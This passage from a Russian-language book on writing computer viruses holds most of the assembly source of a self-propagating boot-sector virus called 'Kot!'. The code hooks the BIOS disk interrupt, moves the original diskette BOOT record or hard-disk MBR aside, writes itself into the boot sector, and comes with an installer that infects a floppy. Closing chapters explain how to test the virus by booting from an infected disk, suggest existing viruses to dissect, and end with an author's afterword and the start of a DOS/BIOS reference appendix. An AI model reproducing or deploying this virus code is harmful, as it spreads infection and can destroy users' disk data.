je cs:real_80 ;дискеты
cmp dh,0f9h ;по ее
je cs:real_80 ;Media
cmp dh,0fdh ;Descryptor
jne cs:to_jump ;
mov ch,39 ;
real_80: mov dh,01h ;
mov cl,byte ptr ds:[418h]
;Перепишем нас-
;тоящий BOOT в
;последний сек-
;тор последней
;дорожки на пос-
;ледней стороне
xor dl,dl ;
call cs:write_mbr_last ;
jc cs:to_jump ;
;
mov additor - 100h,055h;Сформируем код,
xor di,di ;который нужно
mov cx,prg_lenght ;записать на
copy_vir: mov al,byte ptr ds:[di];дискету вместо
mov byte ptr ds:[di + 455h],al ;исходной BOOT -
inc di ;записи
loop cs:copy_vir ;
mov word ptr ds:[400h],053ebh ;
;
xor dh,dh ;И запишем его
call cs:write_mbr ;в первый
;сектор нулевой
;дорожки нулевой
;стороны дискеты
;
restore_regs: ;Восстановим из
popf ;стека регистры
pop es ;
pop ds ;
pop di ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;
ret ;Выйдем из про-
;цедуры
boot_infect endp ;
read_mbr proc ;
xor dh,dh ;
mov ax,0201h ;Процедура
mov bx,400h ;читает первый
mov cx,01h ;сектор нулевой
pushf ;дорожки нулевой
call dword ptr old_13h - 100h ;стороны указан-
ret ;ного накопителя
read_mbr endp ;
;
write_mbr proc ;
mov ax,0301h ;Процедура
mov cx,01h ;помещает вирус-
pushf ;ный код в BOOT-
call dword ptr old_13h - 100h ;сектор дискеты
ret ;или записывает
write_mbr endp ;его вместо MBR
;винчестера
;
write_mbr_last proc ;Процедура
;переписывает
;исходную BOOT-
;запись или MBR
mov num_head - 100h,dx ;в заданный
mov cyl_sect - 100h,cx ;сектор зара-
mov dl,dl_save - 100h ;жаемого
;диска
mov ax,0301h ;
pushf ;
call dword ptr old_13h - 100h ;
ret ;
write_mbr_last endp ;
db 'Kot!' ;Название вируса
dl_save db 0 ;Ячейка для вре-
;менного хране-
;ния регистра DL
;( Он задает
;номер
;накопителя )
num_head dw 0 ;Здесь вирус
cyl_sect dw 0 ;хранит номер
;головки,дорожки
;и сектора , в
;которых запи-
;сана настоящая
;загрузочная
;запись
;зараженного
;диска
vvv dw 004ch ;Смещение к век-
;тору Int 13h
;Длина вирусного
;кода :
prg_lenght equ $ - my_prg
installer: lea si,my_prg ;Подменим коман-
mov byte ptr [si],33h ;ду перехода на
mov byte ptr [si + 1],0c0h ;первые три бай-
mov byte ptr [si + 2],8eh ;та кода вируса
;Попробуем про-
;честь
;BOOT -
;сектор дискеты.
mov ax,0201h ;
mov cx,01h ;
xor dx,dx ;
lea bx,bufer ;
int 13h ;
jc error ;
;
push es ;Получим пара-
mov ah,08h ;метры дискеты
xor dl,dl ;
int 13h ;
jnc all_good ;
cmp ah,01h ;
jne error ;
mov dh,01h ;
mov ch,27h ;
mov cl,byte ptr bufer [18h] ;
all_good: xor dl,dl ;
mov num_head,dx ;
mov cyl_sect,cx ;
pop es ;
;Перепишем нас-
;тоящий BOOT в
;последний сек-
;тор последней
;дорожки на пос-
;ледней стороне
mov ax,0301h ;
lea bx,bufer ;
int 13h ;
jc error ;
;Сформируем код,
;который нужно
;записать на
;дискету вместо
;исходной BOOT -
;записи
mov additor,055h ;
lea si,bufer + 55h ;
lea di,my_prg ;
mov cx,prg_lenght ;
copy_boot: mov al,byte ptr [di] ;
mov byte ptr [si],al ;
inc si ;
inc di ;
loop copy_boot ;
mov word ptr bufer[0],053ebh ;
;И запишем его
;в первый
;сектор нулевой
;дорожки нулевой
;стороны дискеты
mov ax,0301h ;
mov cx,01h ;
mov dx,0 ;
lea bx,bufer ;
int 13h ;
jnc prg_end ;
;
error: mov ah,09h ;Если была оши-
lea dx,err_mes ;бка - выведем
int 21h ;сообщение о ней
;
prg_end: mov ax,4c00h ;Завершаем за-
int 21h ;пускающую про-
;грамму
err_mes db 'Error !$' ;Сообщение
bufer db 512 dup ( 0 ) ;В этот буфер
;считывается
;BOOT - сектор
;заражаемой
;дискеты
prg ends ;Стандартное
end my_prg ;окончание ASM-
;программы ...
1.16 Комментарии
Вирус,который мы разработали в этой главе, заража-
ет BOOT - сектора дискет и MBR жесткого диска. Как
вы убедились, написать загрузочный вирус совсем
несложно - гораздо легче,чем, скажем, файловый.Тем
не менее я настоятельно рекомендую читателям по-
пробовать " поймать " один из существующих загру-
зочных вирусов и исследовать его работу. Для начи-
нающих можно порекомендовать FORM или KONSTANTIN .
Если же вы достаточно опытный вирусолог, то можете
помериться силами с ONEHALF или другим шифрованным
вирусом. Правда учтите, что экспериментировать с
чужими вирусными программами надо осторожно - не-
которые из них при трассировке вирусного кода мо-
гут испортить " винчестер " вашего компьютера.
1.17 Испытание вируса
Для проверки в действии загрузочного вируса доста-
точно загрузиться с зараженного магнитного диска.
Понаблюдайте, как вирус заражает дискеты и в каких
случаях. Попробуйте найти в памяти вирусный код, а
найдя - пройдите его отладчиком.
Перед проведением экспериментов с предложенной
программой обязательно скопируйте оригинальную MBR
жесткого диска в отдельный файл на дискете. Если
этого не сделать, вы рискуете потерять данные на
винчестере.
Все проверки вирусной программы рекомендуется про-
водить с помощью программы DISKEDIT, желательно
одной из последних версий. С помощью этой же прог-
раммы можно " вылечить " зараженный диск, если ви-
рус вам " надоест ".
ЗАКЛЮЧЕНИЕ
Эта книга задумывалась и писалась лишь для того,
чтобы приоткрыть завесу таинственности и секретно-
сти, которой окутана почти не овещаемая в литера-
туре тема компьютерных вирусов . Автор ни в коем
случае не ставил своей целью обучить пользователей
ЭВМ разработке всевозможных "вредных" программных
средств, а просто хотел поделиться своими знаниями
и результатами экспериментов с широкой обществен-
ностью .Наверняка найдется немало людей - специа-
листов и любителей,которых интересует затронутая в
данной работе тема .И если кто - то из них пожела-
ет ознакомиться с предлагаемой книгой, я буду счи-
тать, что потратил время не зря .Разработка дейст-
вующих компьютерных вирусов - захватывающее и сло-
жное дело, требующее немалого опыта и определенной
теоретической базы .Надеюсь, эта книга сможет ока-
зать вам некоторую помощь .
К сожалению,изложение не рассчитано на начинающих,
поэтому автору не удалось приблизить стиль книги к
научно - популярному . Хотя это трудно отнести к
недостаткам .
До встречи !
ПРИЛОЖЕНИЕ 1
Краткий справочник по функциям MS DOS и BIOS
*
Справочные материалы по функциям MS DOS и BIOS
с незначительными изменениями заимствованы из
[1], за что автор приносит К.Г.Финогенову свои
извинения.
--------------------------------------------------
Функция 09h - Вывод строки на экран.Последним сим-